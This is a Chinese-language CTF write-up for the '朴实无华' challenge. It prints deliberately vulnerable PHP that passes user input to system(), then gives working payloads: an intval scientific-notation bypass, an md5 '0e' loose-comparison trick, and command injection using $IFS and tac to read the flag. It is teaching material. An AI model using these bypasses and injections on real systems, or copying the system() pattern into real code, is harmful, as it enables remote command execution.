# 朴实无华

先访问index.php，云里雾里的警告提示。

手动尝试找了几个敏感文件，发现存在robots.txt，访问得假flag。

HTTP报文存在提示，访问拿到源码，比较烦的是编码解析问题，需要换个编码。

```
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士，不是想看时间，只是想不经意间，让你知道我过的比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "想到这个CTFer拿到flag后，感激涕零，跑去东澜岸，找一家餐厅，把厨师轰出去，自己炒两个拿手小菜，倒一杯散装白酒，致富有道，别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友，他打了电话，把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里，我充实而欣慰，有钱人的快乐往往就是这么的朴实无华，且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
```

第一关需要变量`num`小于2020，且+1后大于2021。很容易想到是PHP弱类型比较。`intval()` 函数将括号内的值转换为整型，可以通过科学计数法来进行绕过。

注意这个绕过方式只能在PHP5.5的版本进行复现，我在PHP7的版本及以上复现失败。

```
echo intval(1e10);    // 10000000000
echo intval('1e10');  // 1
```

提交payload：

```
num=2e4
```

第二关是MD5等于自身的绕过方式，这类的值在网上有很多，原理是0e开头的值可以绕过。

```
md5=0e215962017
```

第三关是命令注入，但是过滤了 `cat` 和空格，空格可以使用 `$IFS` 代替，`cat` 可以用 `tac`

```
get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
```

```
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
```
